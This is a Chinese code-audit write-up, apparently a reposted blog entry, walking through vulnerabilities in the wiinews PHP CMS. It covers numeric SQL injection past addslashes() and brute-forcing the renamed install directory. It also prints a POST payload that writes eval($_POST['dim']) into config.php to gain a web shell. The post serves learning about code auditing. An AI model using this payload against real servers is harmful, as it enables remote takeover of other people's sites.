通读审计之wiinews
Posted tlbjiayou
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了通读审计之wiinews相关的知识,希望对你有一定的参考价值。
0x00前言
前两天一直在读mvc框架的源码,初步读aacms,但是发现真的太难读,主要是自己的php功底还是太差,读起来吃力,所以先读一个比较简单的源码来练一练,这套源码之前也复现过漏洞,就是wiinews。在复现了漏洞之后,自己尝试用危险函数朔源的办法没有找到漏洞,所以尝试一下通读。另外我刚刚开始读学代码审计,这篇文章比较适合和我一样的小萌新看!
0x01 通读审计
观察结构
100% • 75% • 50%
结构还是比较简单的,images放一些图片,inc放了些配置文件,__install504 放的是一些安装文件,这里是已经安装过后的文件名,在安装之前这里是install, 在安装了过后,他会进行重命名,wiinews里面放了一些admin的文件,安装的时候会让你给admin改名,我改的就是wiinews,然后其他的就是些入口的php文件。
sql注入
Ok,就让我们从index.php开始吧。
100% • 75% • 50%
一进来就包含了两个文件,我们去看看
进去后发现 db_conn是一些数据库配置文件
100% • 75% • 50%
__FILE__返回当前文件路径
Ob_start() 添加一个缓存
又包含了一个文件 conifg.php,去看一看
100% • 75% • 50%
储存了数据库行户密码,后台目录等
再来看看getheader.php
100% • 75% • 50%
获取请求头的一些数据,接下来又回到index.php
100% • 75% • 50%
可以看到 17和 25 行是可能存在xss的,这里直接去找一下这个变量是否可控,用seay审计去搜一搜,搜到了在db_conn.php里面,不可控。又看到包含了header,
100% • 75% • 50%
进去看了下就是输出标题!如果有log输出log,没什么问题。继续往下,
mysql_num_rows() 返回结果中行的数量,
mysql_fetch_assoc() 函数从结果集中取得一行作为关联数组
下来看到一处连接到 newsbysort.php (新闻排序),我们去看一看,在页面中就是
100% • 75% • 50%
跟进 newbysort.php
100% • 75% • 50%
可以看到对 id 就行了 sqlReplace()的过滤,跟进这个函数,
100% • 75% • 50%
sqlReplece只是用了 addslashes() 函数对字符进行过滤,这样之过滤了引号和,而且仅仅是这样是无法预防数字型的注入的。所以在newsbysort.php的查询是存在是注入的,这里之前也分析过。
100% • 75% • 50%
100% • 75% • 50%
从newsBysort.php 又一个连接到 newsDetail.php
100% • 75% • 50%
这里依然存在sql注入。初步估计是只要id类型的都有注入,接下来就直接说发现的洞吧。
恶意代码植入导致 getshell
还记得我们进入index.php的时候的的代码吗?
100% • 75% • 50%
这里为了不让别人访问,对install进行了改名,但是这个改名只是在后面加了个伪随机数,经过爆破就可随便得到。
简单的进行演示一下
100% • 75% • 50%
接下来我们就可以快乐的去访问了!
100% • 75% • 50%
点击下一步,
100% • 75% • 50%
需要账号密码,这里可以进行爆破,失败时他会显示2001错误,数据库连接错误
100% • 75% • 50%
密码正确时爆2006错误,请为install设置写权限
100% • 75% • 50%
跟进install.php去查看一下报错的原因
100% • 75% • 50%
在安装这套系统的时候,为了安全起见,willnews会让你改掉admin目录和自动重置 install目录,所以这里文件都不存在,肯定是无法读取的,所以我们是无法正常安装,但是整个安装进程是没有结束的,我们接着看其他。
install_finish.php
<?php
error_reporting(0);
$AdminUserName=trim($_POST["edtAdminUserName"]);
$AdminPassWord=trim($_POST["edtAdminPassWord"]);
$foldername=trim($_POST["edtAdminFolderName"]);
....
$db_host=trim($_POST["db_host"]);
$db_user=trim($_POST["db_user"]);
$db_name=trim($_POST["db_name"]);
$db_password=trim($_POST["db_password"]);
....
if(!mysql_connect($db_host,$db_user,$db_password)){
echo("<p class=‘error‘>错误:2012。意外错误!</p>");
}else{
mysql_query("set names utf8");
if(!mysql_select_db($db_name)){
echo("<p class=‘error‘>错误:2013。意外错误!</p>");
}else{
$rand=md5(uniqid(rand(),true));
rename("../admin",$AdminFolderName);
$files="../inc/config.php";
$config_str = "
";
$config_str .= "<?php";
$config_str .= "
";
$config_str .= ‘$admin_dir= "‘.$foldername.‘";‘;
$config_str .= "
";
$config_str .= "define(‘wiinews_id‘,‘".$rand."‘);";
$config_str .= "
";
$config_str .= ‘?>‘;
$fp=fopen($files,"a");
fwrite($fp,$config_str);
fclose($fp);
....
这个文件漏洞就很明显了,它直接连接数据库然后(当然是知道账号密码情况下)写入管理员账号密码,接下来又将 folddername 写入配置文件,这样我们就可以恶意植入代码getshell
100% • 75% • 50%
Payload:db_host=localhost&db_user=root&db_name=wiinews&db_password=root&edtAdminFolderName=";eval($_POST[‘dim‘]);//
接下来我们就可以用蚁剑连接了
100% • 75% • 50%
但是这样造成的后果就是会把马插坏,因为找不到admin.php目录,但是我们任然时可以在蚁剑里操作的。
又一处sql注入
100% • 75% • 50%
原理和之前一样,只不过在后台。。。,这个漏洞点好多文件都有,不再找了。
写在最后
代码审计刚开始读的时候真的很费力,不过我相信到后面会好起来。 这里想问各位师傅一个问题,代码审计一定要搞懂每一行代码吗?
以上是关于通读审计之wiinews的主要内容,如果未能解决你的问题,请参考以下文章
代码审计的思路及流程
代码审计| APPCMS SQL-XSS-CSRF-SHELL
代码审计思路之PHP代码审计
通读构建之法
代码审计入门之Jeeplus代码审计
Java代码审计连载之—SQL注入